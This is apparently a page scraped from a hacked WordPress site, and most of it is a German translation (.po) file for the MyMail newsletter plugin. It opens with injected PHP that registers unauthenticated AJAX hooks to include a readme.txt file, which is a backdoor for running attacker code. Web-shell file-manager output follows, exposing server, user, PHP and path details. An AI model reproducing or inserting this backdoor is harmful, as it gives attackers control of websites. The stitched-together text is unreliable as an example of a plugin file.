if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/languages/plugins/mymail-de_DE.po
msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: POEditor.com\n"
"Project-Id-Version: MyMail Newsletter Plugin\n"
"Language: de\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#: 
msgid "Email"
msgstr "E-Mail"

#: 
msgid "First Name"
msgstr "Vorname"

#: 
msgid "Last Name"
msgstr "Nachname"

#: 
msgid "Subscribe"
msgstr "Anmelden"

#: 
msgid "This Campaign was sent on %s"
msgstr "Diese Kampagne wurde am %s versendet"

#: 
msgid "This Campaign is currently in the queue"
msgstr "Diese Kampagne ist zurzeit in der Warteschlange"

#: 
msgid "Enter Campaign Title here"
msgstr "Kampagnentitel hier eingeben"

#: 
msgid "Newsletter"
msgstr "Newsletter"

#: 
msgid "Signup for the newsletter"
msgstr "Den Newsletter abonnieren"

#: 
msgid "You have received this email because you have subscribed to %s as {email}. If you no longer wish to receive emails please {unsub}"
msgstr "Sie erhalten diese E-Mail weil Sie sich mit der Adresse {email} bei %s angemeldet haben. Falls Sie keine weiteren Nachrichten mehr erhalten wollen können Sie sich hier {unsub}"

#: 
msgid "If you received this email by mistake, simply delete it. You won't be subscribed if you don't click the confirmation link"
msgstr "Falls Sie diese E-Mail unangekündigt erhalten haben, könne Sie diese einfach löschen. Sie werden nicht registriert falls Sie den Bestätigungslink nicht anklicken"

#: 
msgid "Replace Content"
msgstr "Inhalt ersetzen"

#: 
msgid "Newsletter Settings"
msgstr "Newsletter Einstellungen"

#: 
msgid "Campaigns"
msgstr "Kampagnen"

#: 
msgid "Campaign"
msgid_plural "Campaigns"
msgstr[0] "Kampagne"
msgstr[1] "Kampagnen"

#: 
msgid "New Campaign"
msgstr "Neue Kampagne"

#: 
msgid "Create a new Campaign"
msgstr "Neue Kampagne erstellen"

#: 
msgid "Edit Campaign"
msgstr "Kampagne bearbeiten"

#: 
msgid "All Campaigns"
msgstr "Alle Kampagnen"

#: 
msgid "View Newsletter"
msgstr "Newsletter anzeigen"

#: 
msgid "Search Campaigns"
msgstr "Suche Kampagnen"

#: 
msgid "No Campaign found"
msgstr "Keine Kampagne gefunden"

#: 
msgid "No Campaign found in Trash"
msgstr "Keine Kampagne im Papierkorb"

#: 
msgid "Active"
msgstr "Aktiv"

#: 
msgid "Finished"
msgstr "Beendet"

#: 
msgid "starts in %s"
msgstr "beginnt in %s"

#: 
msgid "progressing"
msgstr "in arbeit"

#: 
msgid "open rate"
msgstr "Öffnungsrate"

#: 
msgid "click rate"
msgstr "Klickrate"

#: 
msgid "Duplicate"
msgstr "Duplizieren"

#: 
msgid "Template changed. %1$s"
msgstr "Template geändert. %1$s"

#: 
msgid "Go back"
msgstr "Zurück"

#: 
msgid "Campaign updated."
msgstr "Kampagne aktualisiert."

#: 
msgid "Campaign restored to revision from %s"
msgstr "Kampagne von Revision %s wiederhergestellt"

#: 
msgid "Campaign scheduled."
msgstr "Kampagne geplant."

#: 
msgid "Campaign draft updated."
msgstr "Kampagnen Entwurf aktualisiert."

#: 
msgid "Save"
msgstr "Speichern"

#: 
msgid "Subscribers"
msgstr "Abonnenten"

#: 
msgid "Subscriber"
msgid_plural "Subscribers"
msgstr[0] "Abonnent"
msgstr[1] "Abonnenten"

#: 
msgid "Lists"
msgstr "Listen"

#: 
msgid "Subscribed"
msgstr "Abonniert"

#: 
msgid "Templates"
msgstr "Templates"

#: 
msgid "No Lists found!"
msgstr "Keine Listen gefunden!"

#: 
msgid "Create a List now"
msgstr "Eine neue Liste erstellen"

#: 
msgid "original"
msgstr "Original"

#: 
msgid "none"
msgstr "keine"

#: 
msgid "Delete Permanently"
msgstr "Dauerhaft löschen"

#: 
msgid "Move to Trash"
msgstr "In den Papierkorb legen"

#: 
msgid "Publish"
msgstr "Veröffentlichen"

#: 
msgid "Submit for Review"
msgstr "Zur Revision vorlegen"

#: 
msgid "Update"
msgstr "Aktualisieren"

#: 
msgid "Change Template"
msgstr "Template ändern"

#: 
msgid "Preview"
msgstr "Vorschau"

#: 
msgid "General"
msgstr "Allgemein"

#: 
msgid "Tags"
msgstr "Tags"

#: 
msgid "Cron"
msgstr "Cron"

#: 
msgid "Bouncing"
msgstr "Bouncing"

#: 
msgid "From Name"
msgstr "Absendername"

#: 
msgid "The sender name which is displayed in the from field"
msgstr "Der Name, wie er beim Empfänger angezeigt wird"

#: 
msgid "From Address"
msgstr "Absenderadresse"

#: 
msgid "The sender email address. Force your recievers to whitelabel this email address."
msgstr "Die Absenderadresse. Fordere deine Empfänger auf, diese Adresse in ihr Adressbuch zu speichern"

#: 
msgid "Reply To Address"
msgstr "Antwortadresse"

#: 
msgid "The address users can reply to"
msgstr "Die Adresse an die geantwortet wird"

#: 
msgid "Default Template"
msgstr "Standardtemplate"

#: 
msgid "get more"
msgstr "mehr"

#: 
msgid "Embed Images"
msgstr "Bilder einbetten"

#: 
msgid "Embed images in the mail"
msgstr "Bilder werden in die Nachrichten eingebettet"

#: 
msgid "can be changed in each campaign"
msgstr "kann in jeder Kampagne angepasst werden"

#: 
msgid "Newsletter Homepage"
msgstr "Newsletter Homepage"

#: 
msgid "Choose"
msgstr "wählen"

#: 
msgid "Subscription Form"
msgstr "Anmelde Formular"

#: 
msgid "The text new subscribers get when Double-Opt-In is selected. Use %s for the link placeholder. Basic HTML is allowed"
msgstr "Die Nachricht die neue Abonnenten bekommen, wenn Double-Opt-In aktiviert ist. Verwende %s als Platzhalter für den Link. Einfaches HTML ist erlaubt."

#: 
msgid "Custom Tags"
msgstr "Benutzer Tags"

#: 
msgid "add"
msgstr "hinzufügen"

#: 
msgid "Cron Service"
msgstr "Cron Dienst"

#: 
msgid "Use the wp_cron function to send newsletters"
msgstr "Benutze die wp_cron Funktion um Newsletter zu senden"

#: 
msgid "Use a real cron to send newsletters"
msgstr "Benutze einen echten Cron Dienst um Newsletter zu senden"

#: 
msgid "reccomended for many subscribers"
msgstr "empfohlen für vielen Abonnenten"

#: 
msgid "Interval for sending emails"
msgstr "Intervall für E-Mailsendungen"

#: 
msgid "Send emails at most every %1$s minutes"
msgstr "Sende Nachrichten höchstens alle %1$s Minuten"

#: 
msgid "Cron Settings"
msgstr "Cron Einstellungen"

#: 
msgid "a secret hash which is required to execute the cron"
msgstr "ein geheimer Hash welcher für die Ausführung des Cron gebraucht wird"

#: 
msgid "never"
msgstr "nie"

#: 
msgid "Bounce Address"
msgstr "Adresse für unzustellbare Nachrichten"

#: 
msgid "Server Address : Port"
msgstr "Server Adresse : Port"

#: 
msgid "Username"
msgstr "Benutzername"

#: 
msgid "%s attempts to deliver message until hardbounce"
msgstr "%s Versuche die Nachricht zu versenden bevor diese endgültig als unzustellbar markiert wird"

#: 
msgid "Secure connection"
msgstr "Sichere Verbindung"

#: 
msgid "If checked username and password are required"
msgstr "Falls aktiv sind Benutzername und Password anzugeben"

#: 
msgid "Send Test"
msgstr "sende Test"

#: 
msgid "Save Changes"
msgstr "Änderungen speichern"

#: 
msgid "Status"
msgstr "Status"

#: 
msgid "add new list"
msgstr "neue Liste hinzufügen"

#: 
msgid "Upload"
msgstr "Hochladen"

#: 
msgid "Unsubscribe"
msgstr "Abmelden"

#: 
msgid "Statistics"
msgstr "Statistik"

#: 
msgid "Title"
msgstr "Titel"

#: 
msgid "Thanks for your interest!"
msgstr "Danke für deine Anmeldung!"

#: 
msgid "Name"
msgstr "Name"

#: 
msgid "total"
msgstr "gesamt"

#: 
msgid "bounces"
msgstr "unzustellbar"

#: 
msgid "Date"
msgstr "Datum"

#: 
msgid "Campaign updated. %s"
msgstr "Kampagne aktualisiert %s"

#: 
msgid "Campaign published. %s"
msgstr "Kampagne veröffentlicht %s"

#: 
msgid "Campaign submitted. %s"
msgstr "Kampagne eingereicht %s"

#: 
msgid "Preview Newsletter"
msgstr "Vorschau Newsletter"

#: 
msgctxt "send campaign \"on\" (date) \"at\" (time)"
msgid "on %1$s @ %2$s"
msgstr "am %1$s um %2$s"

#: 
msgid "Subject"
msgstr "Betreff"

#: 
msgid "Preheader"
msgstr "Preheader"

#: 
msgid "From Email"
msgstr "Absenderadresse"

#: 
msgid "reply-to email"
msgstr "Antwortadresse"

#: 
msgid "Colors Schema"
msgstr "Farbschema"

#: 
msgid "Background"
msgstr "Hintergrund"

#: 
msgid "Campaign saved."
msgstr "Kampagne gespeichert"

#: 
msgid "sent"
msgstr "gesendet"

#: 
msgid "Move module up"
msgstr "Modul nach oben"

#: 
msgid "Move module down"
msgstr "Modul nach unten"

#: 
msgid "remove module"
msgstr "Modul entfernen"

#: 
msgid "Add Module"
msgstr "Modul hinzufügen"

#: 
msgid "Edit"
msgstr "Bearbeiten"

#: 
msgctxt "for the autoimporter"
msgid "Auto"
msgstr "Auto"

#: 
msgid "add button"
msgstr "Schaltfläche hinzufügen"

#: 
msgid "save this schema"
msgstr "dieses Schema speichern"

#: 
msgid "Reload"
msgstr "Neu laden"

#: 
msgid "Select a post"
msgstr "Artikel auswählen"

#: 
msgid "Cancel"
msgstr "Abbruch"

#: 
msgid "remove element"
msgstr "Element entfernen"

#: 
msgid "Embedded Images"
msgstr "Bilder eingebettet"

#: 
msgid "Password"
msgstr "Passwort"

#: 
msgid "Please select the status for the importing contacts!"
msgstr "Bitte den Status für die zu importierenden Kontakte wählen!"

#: 
msgid "or"
msgstr "oder"

#: 
msgid "Import as"
msgstr "Importieren als"

#: 
msgid "%1$s of %2$s sent"
msgstr "%1$s von %2$s gesendet"

#: 
msgid "Paused"
msgstr "Pausiert"

#: 
msgid "Details"
msgstr "Details"

#: 
msgid "Template"
msgstr "Template"

#: 
msgid "Delivery"
msgstr "Versand"

#: 
msgid "Options"
msgstr "Optionen"

#: 
msgid "Last hit"
msgstr "Letzter Treffer"

#: 
msgid "Interval"
msgstr "Interval"

#: 
msgctxt "short for minute"
msgid "min"
msgstr "min"

#: 
msgid "Source"
msgstr "Quelle"

#: 
msgid "Custom Fields"
msgstr "Benutzerdefinierte Felder"

#: 
msgid "next"
msgstr "nächster"

#: 
msgid "prev"
msgstr "vorheriger"

#: 
msgid "webversion"
msgstr "Webversion"

#: 
msgid "Please confirm your Email Address"
msgstr "Bitte bestätige deine E-Mail-Adresse"

#: 
msgid "Permanent Tags"
msgstr "Permanente Tags"

#: 
msgid "Special Tags"
msgstr "Spezial Tags"

#: 
msgid "use %1$s as placeholder tag to replace it with %2$s"
msgstr "verwende %1$s als Platzhalter um ihn mit %2$s zu ersetzen"

#: 
msgid "Newsletters"
msgstr "Newsletters"

#: 
msgid "Offer share option for your customers"
msgstr "Option zum Teilen anbieten"

#: 
msgid "Services"
msgstr "Services"

#: 
msgid "Share with %s"
msgstr "Teile mit %s"

#: 
msgid "not yet"
msgstr "noch nicht"

#: 
msgid "There is no content for this newsletter."
msgstr "Kein Inhalt für diesen Newsletter gefunden."

#: 
msgid "Add content"
msgstr "Inhalt hinzufügen"

#: 
msgid "This Campaign is currently progressing"
msgstr "Die Kampagne wird zurzeit versendet"

#: 
msgid "%s is forwarding an email to you!"
msgstr "%s hat Ihnen eine E-Mail weitergeleitet"

#: 
msgid "Queued"
msgstr "Warteschlange"

#: 
msgid "Latest Newsletter"
msgstr "Letzte Newsletter"

#: 
msgid "email"
msgstr "E-Mail"

#: 
msgid "edit"
msgstr "bearbeiten"

#: 
msgid "receiver"
msgid_plural "receivers"
msgstr[0] ""
msgstr[1] ""

#: 
msgid "opened"
msgid_plural "opens"
msgstr[0] ""
msgstr[1] ""

#: 
msgid "clicks"
msgstr "klick"

#: 
msgid "unsubscribe"
msgid_plural "unsubscribes"
msgstr[0] ""
msgstr[1] ""

#: 
msgid "bounce"
msgid_plural "bounces"
msgstr[0] ""
msgstr[1] ""

#: 
msgid "Country"
msgstr "Land"

#: 
msgid "Frontend"
msgstr "Frontend"

#: 
msgid "Share this via %s"
msgstr "Teile das via %s"

#: 
msgid "Your name"
msgstr "Ihr Name"

#: 
msgid "Your email address"
msgstr "Ihre E-Mailadresse"

#: 
msgid "Your friend's email address"
msgstr "Die E-Mailadresse Ihres Freundes"

#: 
msgid "A personal note to your friend"
msgstr "Eine persönliche Nachricht von Ihnen"

#: 
msgid "We respect your privacy. Nothing you enter on this page is saved by anyone"
msgstr "Wir respektieren Ihre Privatsphäre. Keiner Ihrer Angaben wird von irgendjemanden gespeichert"

#: 
msgid "Share the link"
msgstr "Teile den Link"

#: 
msgid "opens"
msgstr "geöffnet"

#: 
msgid "Older: %s"
msgstr "Älter: %s"

#: 
msgid "Newer: %s"
msgstr "Neuer;: %s"

#: 
msgid "Purchasecode"
msgstr "Purchasecode"

#: 
msgid "Disable this tab"
msgstr "Diesen Tab deaktivieren"

#: 
msgid "unsubscribe rate"
msgstr "Abmelderate"

#: 
msgid "bounce rate"
msgstr "Absprungrate"

#: 
msgid "Pause"
msgstr "Pause"

#: 
msgid "Start"
msgstr "Start"

#: 
msgid "All rights reserved"
msgstr "Alle Rechte vorbehalten"

#: 
msgid "Currently selected"
msgstr "Zur Zeit ausgewählt"

#: 
msgid "this isn't a valid email address!"
msgstr "das ist keine gültige E-Mailadresse!"

#: 
msgid "Use DomainKeys Identified Mail"
msgstr "Verwende DomainKeys Identified Mail"

#: 
msgid "read more"
msgstr "weiterlesen"

#: 
msgid "DKIM often doesn't work out of the box. You may have to contact your email provider to get more information"
msgstr "In manchen Fällen funktioniert DKIM nicht automatisch. Bitte kontaktiere deinen Provider für mehr Information"

#: 
msgid "Pause Campaign"
msgstr "Kampagne pausieren"

#: 
msgid "Start Campaign"
msgstr "Kampagne starten"

#: 
msgid "Start now"
msgstr "Jetzt starten"

#: 
msgid "Send now"
msgstr "Jetzt senden"

#: 
msgid "Start Campaign now"
msgstr "Kampagne jetzt starten"

#: 
msgid "Preview for %s"
msgstr "Vorschau für %s"

#: 
msgid "Total"
msgstr "Gesamt"

#: 
msgid "Open"
msgstr "Geöffnet"

#: 
msgid "Clicks"
msgstr "Klicks"

#: 
msgid "Unsubscribes"
msgstr "Abgemeldet"

#: 
msgid "Bounces"
msgstr "Unzustellbar"

#: 
msgid "Sorry, we couldn't deliver your message. Please try again later!"
msgstr "Ihre Nachricht konnte leider nicht versendet werden. Bitte probieren Sie es später erneut"

#: 
msgid "Share"
msgstr "Teilen"

#: 
msgid "Duplicate Campaign %s"
msgstr "Kampagne %s duplizieren"

#: 
msgid "restore default"
msgstr "Standard wiederherstellen"

#: 
msgid "%s is not a valid email address"
msgstr "%s ist keine gültige E-Mailadresse"

#: 
msgid "The provided purchasecode %s is invalid"
msgstr "%s ist kein gültiger Lizenzcode"

#: 
msgid "Update to %s"
msgstr "Auf %s aktualisieren"

#: 
msgid "Latest"
msgstr "Letzte"

#: 
msgid "Firstname"
msgstr "Vorname"

#: 
msgid "Lastname"
msgstr "Nachname"

#: 
msgid "Export Subscribers"
msgstr "Abonnenten Exportieren"

#: 
msgid "Settings"
msgstr "Einstellungen"

#: 
msgid "The caching time for tweets must be at least %d minutes"
msgstr "Die Cachezeit für Tweets muss mindestens %d Minuten dauern"

#: 
msgid "Edit HTML"
msgstr "HTML bearbeiten"

#: 
msgid "Country DB successfully loaded!"
msgstr "Länder DB wurde erfolgreich geladen"

#: 
msgid "Couldn't load Country DB"
msgstr "Konnte Länder DB nicht laden"

#: 
msgid "Track Countries in Campaigns"
msgstr "Merkt sich die Länder in Kampagnen"

#: 
msgid "Your IP"
msgstr "Deine IP Adresse"

#: 
msgid "%d campaign is active. You should pause it before you change the settings!"
msgid_plural "%d campaigns are active. You should pause them before you change the settings!"
msgstr[0] ""
msgstr[1] ""

#: 
msgid "If you don't find your country down below the geo database is missing or corrupt"
msgstr "Falls du dein Land hier nicht findest, fehlt die GEO Datenbank oder ist beschädigt"

#: 
msgid "Last update"
msgstr "Letztes Update"

#: 
msgid "Your country"
msgstr "Dein Land"

#: 
msgid "Please confirm your subscription!"
msgstr "Bitte bestätigen Sie Ihre Anmeldung!"

#: 
msgid "Default Form"
msgstr "Standard Formular"

#: 
msgid "Form"
msgstr "Formular"

#: 
msgid "Forms"
msgstr "Formulare"

#: 
msgid "undefined"
msgstr "unbenannt"

#: 
msgid "add form"
msgstr "Formular hinzufügen"

#: 
msgid "Custom field tags are individual tags for each subscriber. You can ask for them on subscription and/or make it a required field."
msgstr "Benutzerdefinierte Felder sind individuell für jeden Abonnenten. Du kannst nach ihnen bei der Registrierung fragen und sie als Pflichtfeld deklarieren"

#: 
msgid "reserved tags"
msgstr "reservierte Tags"

#: 
msgid "These are permanent tags which cannot get deleted. The CAN-SPAM tag is required in many countries."
msgstr "Diese permanenten Tags können nicht gelöscht werden. Der CAN-SPAM Tag is verpflichtend in vielen Ländern"

#: 
msgid "Read more"
msgstr "Lese mehr darüber"

#: 
msgid "Add your custom tags here. They work like permanent tags"
msgstr "Füge hier deine eigenen Tags hinzu. Sie funktionieren wie die permanenten Tags"

#: 
msgid "Undeliverable emails will return to this address"
msgstr "Unzustellbare E-Mails werden an diese Adresse retourniert"

#: 
msgid "You have to save your settings before you can test them!"
msgstr "Du musst deine Einstellungen speichern bevor du sie testen kannst!"

#: 
msgid "If you disable this tab you cannot access it anymore from the settings page. If you would like to bring it back delete the %1$s option from the %2$s table"
msgstr "Falls du diesen Tab deaktivierst kannst du nicht mehr auf ihn zugreifen. Um ihn wieder zu aktivieren musst du die %1$s Option in der Tabelle %2$s löschen"

#: 
msgid "You can set alternative content with %1$s which will be uses if %2$s is not defined. All unused tags will get removed in the final message"
msgstr "Du kannst alternativen Inhalt mit %1$s angeben, der verwendet wird falls %2$s nicht definiert ist. Alle nicht verwendeten Tags werden in der endgültigen Nachricht gelöscht"

#: 
msgid "Please fill out all fields correctly!"
msgstr "Bitte füllen Sie alle Felder korrekt aus!"

#: 
msgid "Newsletter Signup Form"
msgstr "Newsletter Anmeldeformular"

#: 
msgid "Sign Up form for the newsletter"
msgstr "Anmeldeformular für den Newsletter"

#: 
msgid "Newsletter sign up"
msgstr "Beim Newsletter anmelden"

#: 
msgid "Newsletter List"
msgstr "Newsletter Liste"

#: 
msgid "Display the most recent newsletters"
msgstr "Zeigt die letzten Newsletter"

#: 
msgid "%s is a reserved tag!"
msgstr "%s ist ein reservierter Tag"

#: 
msgid "Total receivers"
msgstr "Empfänger gesamt"

#: 
msgid "Import complete!"
msgstr "Import abgeschlossen!"

#: 
msgid "displays the last tweet from Twitter user [username] (cache it for %s minutes)"
msgstr "zeigt den letzten Tweet von Twitteruser [username] (wird für %s minuten zwischengespeichert)"

#: 
msgid "An error occurred! Please try again later!"
msgstr "Ein Fehler ist aufgetreten! Bitte versuchen Sie es später noch einmal!"

#: 
msgid "Please confirm"
msgstr "Bitte bestätigen"

#: 
msgid "Click here to confirm"
msgstr "Hier klicken um zu bestätigen"

#: 
msgid "Following fields are missing or incorrect"
msgstr "Folgende Felder sind fehlerhaft oder wurden nicht ausgefüllt"

#: 
msgid "You have successfully unsubscribed!"
msgstr "Sie haben sich erfolgreich abgemeldet!"

#: 
msgid "Headline"
msgstr "Überschrift"

#: 
msgid "Linktext"
msgstr "Linktext"

#: 
msgid "Text"
msgstr "Text"

#: 
msgid "Confirmation"
msgstr "Bestätigung"

#: 
msgid "Successful"
msgstr "Erfolgreich"

#: 
msgid "Error Message"
msgstr "Fehlermeldung"

#: 
msgid "You can setup an interval as low as one minute, but should consider a reasonable value of 5-15 minutes as well."
msgstr "Du kann den Interval auf mindestens eine Minute stellen, solltest aber auch eine bessere Einstellung wie 5-15 Minuten in Er­wä­gung ziehen."

#: 
msgid "If you need help setting up a cron job please refer to the documentation that your provider offers."
msgstr "Falls du Hilfe mit Cronjobs benötigst kontaktiere bitte deinen Provider"

#: 
msgid "Anyway, chances are high that either %1$s, %2$s or %3$s  documentation will help you."
msgstr "Außerdem können dir die Dokumentationen von %1$s, %2$s oder %3$s auch hilfreich sein"

#: 
msgid "Share Button"
msgstr "Schaltfläche zum Teilen"

#: 
msgid "Optional if a real cron service is used"
msgstr "Optional falls ein richtiger Crondienst verwendet wird"

#: 
msgid "Enter your purchasecode to enable automatic updates"
msgstr "Gib den Lizenzcode an um automatische Updates zu aktivieren"

#: 
msgid "or send it with your mail application"
msgstr "oder senden Sie es mit Ihrem E-Mailprogramm"

#: 
msgid "show Templates"
msgstr "zeige Templates"

#: 
msgid "no entries found"
msgstr "keine Einträge gefunden"

#: 
msgid "displays %1$s to share the newsletter via %2$s"
msgstr "zeige %1$s um den Newsletter mit %2$s zu teilen"

#: 
msgid "Send delay"
msgstr "Sendeverzögerung"

#: 
msgid "The default delay in minutes for sending campaigns."
msgstr "Kampagnen werden standardmäßig mit dieser Verzögerung in Minuten gestartet"

#: 
msgid "Delete messages without tracking code to keep postbox clear (recommended)"
msgstr "Andere Nachrichten ohne Trackingcode in diesem Postfach löschen (empfohlen)"

#: 
msgid "%1$s is forwarding this mail to you via %2$s"
msgstr "%1$s hat Ihnen diese Nachricht via %2$s weitergeleitet"

#: 
msgid "An empty link will remove this button! Continue?"
msgstr "Kein Link löscht den Button! Fortfahren?"

#: 
msgid "insert URL"
msgstr "URL einfügen"

#: 
msgid "You are not allowed to pause campaigns."
msgstr "Du hast nicht die nötigen Rechte um Kampagnen zu pausieren"

#: 
msgid "You are not allowed to start campaigns."
msgstr "Du hast nicht die nötigen Rechte um Kampagnen zu starten"

#: 
msgid "You are not allowed to duplicate campaigns."
msgstr "Du hast nicht die nötigen Rechte um Kampagnen zu duplizieren"

#: 
msgid "edit campaigns"
msgstr "Kampagnen bearbeiten"

#: 
msgid "send campaigns"
msgstr "Kampagnen senden"

#: 
msgid "delete campaigns"
msgstr "Kampagnen löschen"

#: 
msgid "edit others campaigns"
msgstr "Kampagnen anderer bearbeiten"

#: 
msgid "delete others campaigns"
msgstr "Kampagnen anderer löschen"

#: 
msgid "duplicate campaigns"
msgstr "Kampagnen duplizieren"

#: 
msgid "duplicate others campaigns"
msgstr "Kampagnen anderer duplizieren"

#: 
msgid "change template"
msgstr "Template ändern"

#: 
msgid "see codeview"
msgstr "Codeansicht sehen"

#: 
msgid "edit subscribers"
msgstr "Abonnenten bearbeiten"

#: 
msgid "delete subscribers"
msgstr "Abonnenten löschen"

#: 
msgid "edit lists"
msgstr "Listen bearbeiten"

#: 
msgid "delete lists"
msgstr "Listen löschen"

#: 
msgid "import subscribers"
msgstr "Abonnenten importieren"

#: 
msgid "export subscribers"
msgstr "Abonnenten exportieren"

#: 
msgid "manage templates"
msgstr "Templates verwalten"

#: 
msgid "edit templates"
msgstr "Templates bearbeiten"

#: 
msgid "delete templates"
msgstr "Templates löschen"

#: 
msgid "upload templates"
msgstr "Templates hochladen"

#: 
msgid "see dashboard widget"
msgstr "Dashboard Widget sehen"

#: 
msgid "Capabilities"
msgstr "Berechtigungen"

#: 
msgid "%1$s can %2$s"
msgstr "%1$s kann %2$s"

#: 
msgid "Define capabilities for each user role. To add new roles you can use a third party plugin. Administrator has always all privileges"
msgstr "Bestimme Berechtigungen für jede Benutzerrolle. Um neue Rollen hinzuzufügen kannst du ein Plugin verwenden. Administrator hat immer alle Rechte"

#: 
msgid "%d emails have not been sent"
msgstr "%d E-Mails wurden nicht gesendet"

#: 
msgid "Field Name"
msgstr "Feldbezeichnung"

#: 
msgid "Tag"
msgstr "Tag"

#: 
msgid "Type"
msgstr "Type"

#: 
msgid "Textfield"
msgstr "Textfeld"

#: 
msgid "Dropdown Menu"
msgstr "Dropdown Menü"

#: 
msgid "Radio Buttons"
msgstr "Radio Buttons"

#: 
msgid "default"
msgstr "standard"

#: 
msgid "this field is selected by default"
msgstr "dieses Feld ist standardmäßig ausgewählt"

#: 
msgid "add field"
msgstr "Feld hinzufügen"

#: 
msgid "remove field"
msgstr "Feld entfernen"

#: 
msgid "move up"
msgstr "nach oben bewegen"

#: 
msgid "move down"
msgstr "nach unten bewegen"

#: 
msgid "Error"
msgstr "Fehler"

#: 
msgid "subscribed"
msgstr "abonniert"

#: 
msgid "unsubscribed"
msgstr "abgemeldet"

#: 
msgid "hardbounced"
msgstr "unzustellbar"

#: 
msgid "Texts"
msgstr "Texte"

#: 
msgid "Define messages for the subscription form"
msgstr "Bestimme die Nachrichten für das Anmeldeformular"

#: 
msgid "Field Labels"
msgstr "Feldbezeichnungen"

#: 
msgid "Define texts for the labels of forms. Custom field labels can be defined on the Subscribers tab"
msgstr "Bestimme Texte für die Felder der Formulare. Benutzerfelder können im Abonnentenreiter bestimmt werden"

#: 
msgid "Submit Button"
msgstr "Abschickbutton"

#: 
msgid "Mail"
msgstr "E-Mail"

#: 
msgid "Define texts for the mails"
msgstr "Bestimme die Texte in E-Mails"

#: 
msgid "Unsubscribe Link"
msgstr "Abmelde Link"

#: 
msgid "Webversion Link"
msgstr "Webansicht Link"

#: 
msgid "Yes, unsubscribe me"
msgstr "Ja, abmelden"

#: 
msgid "Unsubscribe Button"
msgstr "Abmeldebutton"

#: 
msgid "Clickmap"
msgstr "Clickmap"

#: 
msgid "Delete this color schema?"
msgstr "Dieses Farbschema löschen?"

#: 
msgid "current"
msgstr "aktuell"

#: 
msgid "Colors"
msgstr "Farben"

#: 
msgid "Autoresponder"
msgid_plural "Autoresponders"
msgstr[0] "Autoresponder"
msgstr[1] "Autoresponder"

#: 
msgid "Autoresponders"
msgstr "Autoresponder"

#: 
msgid "active"
msgstr "aktiv"

#: 
msgid "inactive"
msgstr "inaktiv"

#: 
msgid "after"
msgstr "nachdem"

#: 
msgid "only if"
msgstr "nur wenn"

#: 
msgid "%s is missing!"
msgstr "%s fehlt!"

#: 
msgid "activate"
msgstr "aktivieren"

#: 
msgid "deactivate"
msgstr "deaktivieren"

#: 
msgid "minute(s)"
msgstr "Minute(n)"

#: 
msgid "hour(s)"
msgstr "Stunde(n)"

#: 
msgid "day(s)"
msgstr "Tag(e)"

#: 
msgid "user signed up"
msgstr "Benutzer sich angemeldet hat"

#: 
msgid "user unsubscribed"
msgstr "Benutzer sich abgemeldet hat"

#: 
msgid "is"
msgstr "ist"

#: 
msgid "is not"
msgstr "ist nicht"

#: 
msgid "contains"
msgstr "enthält"

#: 
msgid "contains not"
msgstr "enthält nicht"

#: 
msgid "begins with"
msgstr "beginnt mit"

#: 
msgid "ends with"
msgstr "endet mit"

#: 
msgid "edit autoresponders"
msgstr "Autoresponder bearbeiten"

#: 
msgid "edit others autoresponders"
msgstr "andere Autoresponder bearbeiten"

#: 
msgid "Regular Campaign"
msgstr "Normale Kampagne"

#: 
msgid "send this campaign"
msgstr "sende diese Kampagne"

#: 
msgid "one of the conditions is true"
msgstr "eine der Bedingungen zutrifft"

#: 
msgid "and"
msgstr "und"

#: 
msgid "all of the conditions are true"
msgstr "alle der Bedingungen zutreffen"

#: 
msgid "remove condition"
msgstr "Bedingung entfernen"

#: 
msgid "add condition"
msgstr "Bedingung hinzufügen"

#: 
msgid "no lists selected"
msgstr "keine Liste ausgewählt"

#: 
msgid "%d job deleted"
msgid_plural "%d jobs deleted"
msgstr[0] ""
msgstr[1] ""

#: 
msgid "background images are not displayed on all clients!"
msgstr "Hintergrundbilder werden nicht in allen Programmen angezeigt!"

#: 
msgid "You are about to delete this template \"%s\""
msgstr "Möchtest du wirklich das Template \"%s\" löschen?"

#: 
msgid "Template saved"
msgstr "Template gespeichert"

#: 
msgid "less than a minute"
msgstr "weniger als einer Minute"

#: 
msgid "Base"
msgstr "Basis"

#: 
msgid "Notification"
msgstr "Benachrichtigung"

#: 
msgid "remove modules"
msgstr "Module entfernen"

#: 
msgid "preview"
msgstr "Vorschau"

#: 
msgid "undo"
msgstr "rückgängig"

#: 
msgid "redo"
msgstr "wiederherstellen"

#: 
msgid "toggle HTML/code view"
msgstr "zwischen HTML und Codeansicht umschalten"

#: 
msgid "Your currently working with %s"
msgstr "Du arbeitest zur Zeit mit %s"

#: 
msgid "save template"
msgstr "Template speichern"

#: 
msgid "Save Template"
msgstr "Template speichern"

#: 
msgid "template name"
msgstr "Name des Templates"

#: 
msgid "Depending on your hosting provider you can increase these values"
msgstr "Abhängig von deinem Provider kannst du diese Werte erhöhen"

#: 
msgid "call it directly"
msgstr "rufen es direkt auf"

#: 
msgid "or set up a cron"
msgstr "oder erstellen einen Cron"

#: 
msgid "send %1$s %2$s %3$s"
msgstr "sende %1$s %2$s %3$s"

#: 
msgid "immediately"
msgstr "sofort"

#: 
